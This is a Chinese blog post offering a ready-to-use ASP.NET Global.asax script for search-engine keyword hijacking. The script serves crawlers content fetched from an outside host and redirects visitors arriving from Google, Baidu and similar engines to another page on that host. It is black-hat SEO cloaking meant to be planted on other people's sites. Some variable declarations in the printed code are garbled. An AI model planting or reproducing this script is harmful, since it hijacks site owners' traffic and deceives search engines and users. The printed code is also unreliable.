搜索引擎关键词劫持之.net篇

简介: 摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。

摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。 %@A...

蛋疼写的,有需要的就拿去,注意要保存为Global.asax。
重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如

<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>

来指明是UTF-8编码,以避免乱码问题。

            <%@ Application Language="C#" %> 
            <script runat="server"> 
             
            void Application_Start(object sender, EventArgs e) 
            { 
            //在应用程序启动时运行的代码 
            } 
            void Application_End(object sender, EventArgs e) 
            { 
            //在应用程序关闭时运行的代码 
            } 
             
            void Application_Error(object sender, EventArgs e) 
            { 
            //在出现未处理的错误时运行的代码 
            } 
             
            void Session_Start(object sender, EventArgs e) 
            { 
            //在新会话启动时运行的代码 
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 
            string data_url = "http://www.yunsec.net";//要展示给搜索引擎的页面 
            string redirect_url="http://www.yunsec.net/1.asp";//从搜索引擎点击进来跳转的页面 
            if (is_spider()) 
            { 
            HttpContext.Current.Response.Clear(); 
            HttpContext.Current.Response.BinaryWrite(get_data(data_url)); 
            HttpContext.Current.Response.End(); 
            } 
            else if(is_from_search()) 
            { 
            HttpContext.Current.Response.Redirect(redirect_url, true); 
            } 
            else 
            { 
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 
            } 
            } 
             
            void Session_End(object sender, EventArgs e) 
            { 
            //在会话结束时运行的代码。 
            // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为 
            // InProc 时,才会引发 Session_End 事件。如果会话模式 
            //设置为 StateServer 或 SQLServer,则不会引发该事件。 
             
            } 
            public bool is_spider() 
            { 
            string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";//这里添加搜索引擎user-agent标识 
            string[] spider_flagspider_flag_arr = spider_flag.Split('|'); 
            string user_agent=HttpContext.Current.Request.UserAgent; 
            foreach (string tmp_flag in spider_flag_arr) 
            { 
            if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; } 
            } 
            return false; 
            } 
            public bool is_from_search() 
            { 
            if (HttpContext.Current.Request.UrlReferrer==null) 
            { 
            return false; 
            } 
            else 
            { 
            string page_ref = HttpContext.Current.Request.UrlReferrer.ToString(); 
            string search_flag = "google|baidu|sogou|yahoo|soso"; //这里添加搜索引擎url标识 
            string[] search_flagsearch_flag_arr = search_flag.Split('|'); 
            foreach (string tmp_flag in search_flag_arr) 
            { 
            if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; } 
            } 
            return false; 
            } 
            } 
            public byte[] get_data(string url) 
            { 
            System.Net.WebClient wc = new System.Net.WebClient(); 
            byte[] data = wc.DownloadData(url); 
            return data; 
            } 
             
            </script>

 

相关文章
|
Linux 网络安全 Docker
docker centos7 安装ssh
docker centos7 安装ssh 原文链接:http://blog.csdn.net/mergerly/article/details/54709919 一.
4657 0
|
存储 PHP 数据安全/隐私保护
Ueditor结合七牛云存储上传图片、附件和图片在线管理的实现和最新更新
最新下载地址: https://github.com/widuu/qiniu_ueditor_1.4.3 Ueditor七牛云存储版本 注意事项 老版本请查看 : https://github.com/widuu/qiniu_ueditor_1.
3289 0
|
8月前
|
Linux 虚拟化 Docker
Linux服务器部署docker windows
在当今软件开发中,Docker成为流行的虚拟化技术,支持在Linux服务器上运行Windows容器。流程包括:1) 安装Docker;2) 配置支持Windows容器;3) 获取Windows镜像;4) 运行Windows容器;5) 验证容器状态。通过这些步骤,你可以在Linux环境中顺利部署和管理Windows应用,提高开发和运维效率。
1096 1
|
安全 Linux API
​Apache Solr未授权上传漏洞复现及验证POC编写
​Apache Solr未授权上传漏洞复现及验证POC编写
|
网络安全 Docker 容器
.Net 在容器中操作宿主机
在 docker 容器中想操作宿主机,一般会使用 ssh 的方式,然后 .Net 通过执行远程 ssh 指令来操作宿主机。本文将使用 交互式 .Net 容器版 中提供的镜像演示 .Net 在容器中如何操作宿主机。
325 0
.Net 在容器中操作宿主机
|
搜索推荐 .NET SEO
搜索引擎关键词劫持之asp篇
摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽SEO代码一: 0 then GetBot="google" end if i...
2264 0
|
3天前
|
存储 人工智能 安全
AI 越智能,数据越危险?
阿里云提供AI全栈安全能力,为客户构建全链路数据保护体系,让企业敢用、能用、放心用